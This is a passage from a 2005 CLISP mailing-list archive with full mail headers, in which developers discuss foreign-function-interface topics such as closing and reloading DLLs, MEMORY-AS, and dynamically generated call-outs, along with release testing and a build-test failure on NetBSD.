2005 X-Original-Date: Tue, 29 Nov 2005 23:00:27 +0800 2005/11/29, Hoehle, Joerg-Cyril : > > This is normal: CLISP protects you from calling functions of a closed lib= rary. I.e. a valid library pointer becomes invalid after closing the librar= y. The other pointers (such as foreign function objects) derived from this = pointer become invalid at the same time, and clisp will complain about call= ing such a function. Try it out! > Yes,That seems to be the way it works.Nothing wrong about the message.Somebody in the maillist also told me so. > > > MessageBox function resides in user32.dll. > >it would be very in-efficient because,I guess, > >the lib loading and unloading happen every time the lib > >function is called. > > I wouldn't bother about opening a library such central as user32.dll seve= ral times. It's very likely to be already in use by the system (possibly ev= en CLISP itself?) and therefore need not be reloaded from disk. > In fact, the user32.dll was only for small test,to confirm myself that CLISP provide convinient way to load and unload dynamic library.Of couse I would not re-open the central library like user32.dll.:) Thogh, I think dynamic library unloading(re-loading) is important for me,be= cause I want to use my own dll library, and when I find there something wrong wit= h my library, I would like to re-build my dll library and reload it without quit CLISP. From Joerg-Cyril.Hoehle@t-systems.com Tue Nov 29 07:27:18 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh7O0-0000W3-LI for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 07:27:16 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh7Nw-00020X-3K for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 07:27:13 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 16:25:12 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 29 Nov 2005 16:25:11 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03070CDB18@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 07:28:01 2005 X-Original-Date: Tue, 29 Nov 2005 16:25:08 +0100 Sam Steingold wrote: >(FFI:MEMORY-AS address type &OPTIONAL offset) >(SETF (FFI:MEMORY-AS address type &OPTIONAL offset) value) Please include the following in impnotes (right now I've got 0 time to = go and get a CVS clisp and test and check XML Docbook): This accessor is useful when operating with untyped foreign pointers = (represented as #) as opposed to typed ones = (represented by #). It allows to type and = dereference the given pointer without the need to create an object of = type FOREIGN-VARIABLE. Alternatively, one could use (FOREIGN-VALUE (FOREIGN-VARIABLE ptr = internal-c-type)) (also setf'able). Note that the given type must be the *internal* representation of a = foreign type, thus parse-c-type is required with literal names or = types, e.g. (memory-as ptr (parse-c-type '(c-array uint8 3))) or (setf = (memory-as ptr (parse-c-type 'uint32)) 0). You may wish to put this somewhere: Note on internal types. Although the internal type used by CLISP is not documented, the = programmer can rely on the following property: o it's memoisable, i.e. the result of PARSE-C-TYPE is memoizable, which = was the whole point in making PARSE-C-TYPE publicly available [of = course, don't expect redefinitions or new definitions to work = transparently across memoization]. However you may not save it to disk, reload it and expect it to work in = the FFI, because serialization looses object equality. [Not for impnotes: note that although memory-as may have some appeal, = there's still overhead in PARSE-C-TYPE. And I've stil not yet = implemented the MEMORY<->specialized-Lisp-vector API, which would = exhibit best performance, but suffer from lack of generality w.r.t. = types] Regards, J=C3=B6rg H=C3=B6hle. From sds@gnu.org Tue Nov 29 07:29:10 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh7Pq-0000ZI-5c for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 07:29:10 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh7Pm-0001ZJ-Jh for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 07:29:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATFShiQ015455; Tue, 29 Nov 2005 10:28:44 -0500 (EST) To: clisp-list@lists.sourceforge.net, xu yong Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <38b3aaee0511290700y5b93b4br@mail.gmail.com> (xu yong's message of "Tue, 29 Nov 2005 23:00:27 +0800") References: <5F9130612D07074EB0A0CE7E69FD7A03070CD7EA@S4DE8PSAAGS.blf.telekom.de> <38b3aaee0511290700y5b93b4br@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, xu yong Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 07:30:01 2005 X-Original-Date: Tue, 29 Nov 2005 10:27:45 -0500 > * xu yong [2005-11-29 23:00:27 +0800]: > > Thogh, I think dynamic library unloading(re-loading) is important for > me,because I want to use my own dll library, and when I find there > something wrong with my library, I would like to re-build my dll > library and reload it without quit CLISP. this is precisely the reason close-foreign-library was provided. -- Sam Steingold (http://www.podval.org/~sds) running w2k http://ffii.org/ http://www.camera.org http://www.openvotingconsortium.org/ http://pmw.org.il/ http://www.savegushkatif.org http://www.dhimmi.com/ (let((a'(list'let(list(list'a(list'quote a)))a)))`(let((a(quote ,a))),a)) From sds@gnu.org Tue Nov 29 09:17:26 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh96Y-0007Iz-GH for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 09:17:22 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh96U-000698-HD for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 09:17:22 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATHGufW021325; Tue, 29 Nov 2005 12:16:57 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03070CDB18@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 29 Nov 2005 16:25:08 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A03070CDB18@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: about ffi:close-foreign-library Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 09:18:05 2005 X-Original-Date: Tue, 29 Nov 2005 12:15:58 -0500 > * Hoehle, Joerg-Cyril [2005-11-29 16:25:08 +0100]: > > Please include the following in impnotes thanks, please take a look at > [Not for impnotes: note that although memory-as may have some appeal, > there's still overhead in PARSE-C-TYPE. And I've stil not yet > implemented the MEMORY<->specialized-Lisp-vector API, which would > exhibit best performance, but suffer from lack of generality > w.r.t. types] are you talking about a function that would copy a piece of C memory in/from a (vector (unsigned-byte 8))? -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.mideasttruth.com/ http://www.jihadwatch.org/ http://ffii.org/ PI seconds is a nanocentury From Joerg-Cyril.Hoehle@t-systems.com Tue Nov 29 10:07:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Eh9t8-0001lU-0t for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 10:07:34 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Eh9t5-0000J2-3R for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 10:07:33 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 19:07:20 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 29 Nov 2005 19:07:20 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03070CDBFD@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: about ffi:close-foreign-library MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 10:08:03 2005 X-Original-Date: Tue, 29 Nov 2005 19:07:20 +0100 Sam Steingold wrote: >>And I've stil not yet >> implemented the MEMORY<->specialized-Lisp-vector API, which would >> exhibit best performance, but suffer from lack of generality >> w.r.t. types] > >are you talking about a function that would copy a piece of C memory >in/from a (vector (unsigned-byte 8))? Exactly, but also including unsigned-byte 16+32. Allegro has one such thing, which could serve as API-model? Something similar would be nice for strings (convert-to/from-foreign-string), but supporting an arbitrary encoding and clisp's several byte sizes for characters make this far less trivial than just the NO_UNICODE 1:1 string mapping. But I haven't thought much about this kind. The current implementations of convert-to/from-foreign-string I've come across are less than optimal in terms of used ressources vs. what could be achieved. BTW, is unpack_string() (which IIRC uses the program stack) safe with very large strings or is there a general problem with alloca(>4KB or 8KB), i.e. the size of a few guard pages? Excuse me, I digress. Regards, Jorg Hohle From sds@gnu.org Tue Nov 29 10:37:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhALe-0003ZW-RB for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 10:37:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhALa-0000m1-Di for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 10:37:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATIaTEh025336; Tue, 29 Nov 2005 13:36:30 -0500 (EST) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03070CDBFD@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 29 Nov 2005 19:07:20 +0100") References: <5F9130612D07074EB0A0CE7E69FD7A03070CDBFD@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: foreign memory <---> lisp data Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 10:38:01 2005 X-Original-Date: Tue, 29 Nov 2005 13:35:31 -0500 > * Hoehle, Joerg-Cyril [2005-11-29 19:07:20 +0100]: > > Sam Steingold wrote: >>>And I've stil not yet >>> implemented the MEMORY<->specialized-Lisp-vector API, which would >>> exhibit best performance, but suffer from lack of generality >>> w.r.t. types] >> >>are you talking about a function that would copy a piece of C memory >>in/from a (vector (unsigned-byte 8))? > > Exactly, but also including unsigned-byte 16+32. Allegro has one such > thing, which could serve as API-model? OK, go ahead. > Something similar would be nice for strings > (convert-to/from-foreign-string), but supporting an arbitrary encoding > and clisp's several byte sizes for characters make this far less > trivial than just the NO_UNICODE 1:1 string mapping. But I haven't > thought much about this kind. I would rather have a few polymorphic functions than a bunch of different APIs. convert-string-from/to-bytes is, IMO, one such example. why can't it take C data as an argument (and an optional pre-allocated buffer to avoid consing up the return value)? this would probably necessitate exporting mblen/wcslen access. > The current implementations of convert-to/from-foreign-string I've > come across are less than optimal in terms of used ressources vs. what > could be achieved. they should not cons - at least there should be a way to avoid consing. one thing that bothers me about convert-string-from/to-bytes is that they always cons up fresh return value. trouble is that the return buffer must either have a fill pointer or have the correct length (both requirements make it harder to supply them) > BTW, is unpack_string() (which IIRC uses the program stack) safe with > very large strings or is there a general problem with alloca(>4KB or > 8KB), i.e. the size of a few guard pages? Excuse me, I digress. ISTR that alloca works on arbitrary sized buffers - and ISTR it was _you_ who said that on this list :-) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.savegushkatif.org http://www.honestreporting.com http://ffii.org/ http://www.palestinefacts.org/ http://truepeace.org As a computer, I find your faith in technology amusing. From sds@gnu.org Tue Nov 29 10:39:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhANZ-0003dj-DG for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 10:39:01 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhANT-0001qL-SH for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 10:38:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATIcc0j025417 for ; Tue, 29 Nov 2005 13:38:38 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] pre-test for 2.36 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 10:40:01 2005 X-Original-Date: Tue, 29 Nov 2005 13:37:40 -0500 please test the current CVS head as the pre-test for the upcoming 2.36. SF CF is mostly dead, so unless _you_ do the testing now, _you_ will be stuck a broken release on your platform! -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.honestreporting.com http://www.camera.org http://ffii.org/ http://www.dhimmi.com/ http://pmw.org.il/ Programming is like sex: one mistake and you have to support it for a lifetime. From ortmage@gmx.net Tue Nov 29 11:27:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhB8w-0006kW-3Y for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 11:27:58 -0800 Received: from mail.gmx.de ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1EhB8r-0000m3-A7 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 11:27:58 -0800 Received: (qmail invoked by alias); 29 Nov 2005 19:27:37 -0000 Received: from ec240-194-dhcp.colorado.edu (EHLO [128.138.240.194]) [128.138.240.194] by mail.gmx.net (mp005) with SMTP; 29 Nov 2005 20:27:37 +0100 X-Authenticated: #9558537 Message-ID: <438CAB93.9020304@gmx.net> From: Scott Williams User-Agent: Mozilla Thunderbird 1.0.7 (X11/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Y-GMX-Trusted: 0 X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] dynamically computed ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 11:28:12 2005 X-Original-Date: Tue, 29 Nov 2005 12:27:15 -0700 What's the best way to get computed DEF-CALL-OUTs? I have some classes that need to dynamically create and evaluate DEF-CALL-OUT forms at COMPUTE-SLOTS time. Is there a functional version of DEF-CALL-OUT or should I use eval? Is there a way to get anonymous call-outs or would I need (eval `(def-call-out ,(gensym) ..))? (defmethod compute-slots :after ((proxy gtk-proxy)) (dolist (slot (class-direct-slots proxy)) (build-accessor-callouts proxy slot))) (defun build-accessor-callouts (proxy slot) ;; here's what I want: (eval `(def-call-out ,(canonical-foriegn-accessor-name proxy slot :setter) (:arguments (self c-pointer) ,(canonical-foreign-type slot)) (:return-type nil))) (eval `(def-call-out ,(canonical-foreign-accessor-name proxy slot :getter) (:arguments (self c-pointer)) (:return-type ,(canonical-foreign-type slot)))) Regards, -- Scott From sds@gnu.org Tue Nov 29 12:20:57 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhByC-0001SX-Rd for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 12:20:56 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhBy8-0002le-9G for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 12:20:56 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATKKPx8000755; Tue, 29 Nov 2005 15:20:25 -0500 (EST) To: clisp-list@lists.sourceforge.net, Scott Williams Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <438CAB93.9020304@gmx.net> (Scott Williams's message of "Tue, 29 Nov 2005 12:27:15 -0700") References: <438CAB93.9020304@gmx.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Scott Williams Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: dynamically computed ffi Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 12:21:02 2005 X-Original-Date: Tue, 29 Nov 2005 15:19:26 -0500 > * Scott Williams [2005-11-29 12:27:15 -0700]: > > What's the best way to get computed DEF-CALL-OUTs? I have some classes > that need to dynamically create and evaluate DEF-CALL-OUT forms at > COMPUTE-SLOTS time. Is there a functional version of DEF-CALL-OUT or > should I use eval? Is there a way to get anonymous call-outs or would I > need (eval `(def-call-out ,(gensym) ..))? > > (defmethod compute-slots :after ((proxy gtk-proxy)) > (dolist (slot (class-direct-slots proxy)) > (build-accessor-callouts proxy slot))) > > (defun build-accessor-callouts (proxy slot) > ;; here's what I want: > (eval `(def-call-out ,(canonical-foriegn-accessor-name proxy slot :setter) > (:arguments (self c-pointer) > > ,(canonical-foreign-type slot)) > (:return-type nil))) > (eval `(def-call-out ,(canonical-foreign-accessor-name proxy slot :getter) > (:arguments (self c-pointer)) > (:return-type ,(canonical-foreign-type > slot)))) interesting. how about this: (ffi::foreign-library-function (canonical-foreign-accessor-name proxy slot :setter) (ffi::foreign-library "mylib.dll") nil (parse-c-type `(c-function (:arguments ...) (:return-type ...) (:language ...)))) -- Sam Steingold (http://www.podval.org/~sds) running w2k http://www.honestreporting.com http://www.dhimmi.com/ http://pmw.org.il/ http://www.palestinefacts.org/ http://truepeace.org http://www.iris.org.il Trespassers will be shot. Survivors will be prosecuted. From sds@gnu.org Tue Nov 29 12:26:43 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhC3n-0001jD-83 for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 12:26:43 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EhC3j-00077k-Nw for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 12:26:40 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.114]) by alphatech.com (8.12.11/8.12.11) with ESMTP id jATKQFgw001043; Tue, 29 Nov 2005 15:26:15 -0500 (EST) To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200511280357.jAS3v2m19195@localhost.localdomain> (root's message of "Sun, 27 Nov 2005 22:57:02 -0500") References: <200511280357.jAS3v2m19195@localhost.localdomain> Mail-Followup-To: clisp-list@lists.sourceforge.net, daly@axiom-developer.org Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: clisp and mcclim Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 12:27:10 2005 X-Original-Date: Tue, 29 Nov 2005 15:25:17 -0500 > * root [2005-11-27 22:57:02 -0500]: > > > 1. Get clisp-20041218 or newer. Build it with option > --with-module=clx/mit-clx. if would be nice if someone tried --with-module=clx/new-clx and reported what McCLIM misses there... -- Sam Steingold (http://www.podval.org/~sds) running w2k http://truepeace.org http://www.jihadwatch.org/ http://ffii.org/ http://www.palestinefacts.org/ http://www.dhimmi.com/ http://pmw.org.il/ There's always free cheese in a mouse trap. From lisp-clisp-list@m.gmane.org Tue Nov 29 12:44:14 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EhCKj-0002mn-RZ for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 12:44:13 -0800 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EhCKc-00074P-Dv for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 12:44:11 -0800 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EhCGu-0001uf-Nv for clisp-list@lists.sourceforge.net; Tue, 29 Nov 2005 21:40:17 +0100 Received: from c83-248-119-147.bredband.comhem.se ([83.248.119.147]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 29 Nov 2005 21:40:16 +0100 Received: from mange by c83-248-119-147.bredband.comhem.se with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 29 Nov 2005 21:40:16 +0100 X-Injected-Via-Gmane: http://gmane.org/ Mail-Followup-To: clisp-list@lists.sourceforge.net To: clisp-list@lists.sourceforge.net From: Magnus Henoch Lines: 82 Message-ID: <87k6ernqd3.fsf@zemdatav.stor.no-ip.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c83-248-119-147.bredband.comhem.se Mail-Copies-To: never User-Agent: Gnus/5.110004 (No Gnus v0.4) Emacs/22.0.50 (berkeley-unix) Cancel-Lock: sha1:xh/ualBVUhbjDau+V1Riqrhheus= X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 UPPERCASE_50_75 message body is 50-75% uppercase Subject: [clisp-list] make mod-check fails for i18n Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Nov 29 12:45:01 2005 X-Original-Date: Tue, 29 Nov 2005 21:36:24 +0100 I'm trying to compile clisp from CVS HEAD on NetBSD/powerpc, building using: ./configure --with-module=clx/new-clx --with-debug --build build-zemdatav It seems to mostly work, but make mod-check gives: for m in i18n syscalls regexp; do rm -f $m/*.erg; done z=""; for m in i18n syscalls regexp; do z=$z" \""$m/\"; done; ./clisp -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -C -i tests/tests -x "(ext:exit (plusp (or (run-some-tests :dirlist '($z)) 0)))" STACK depth: 16367 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam 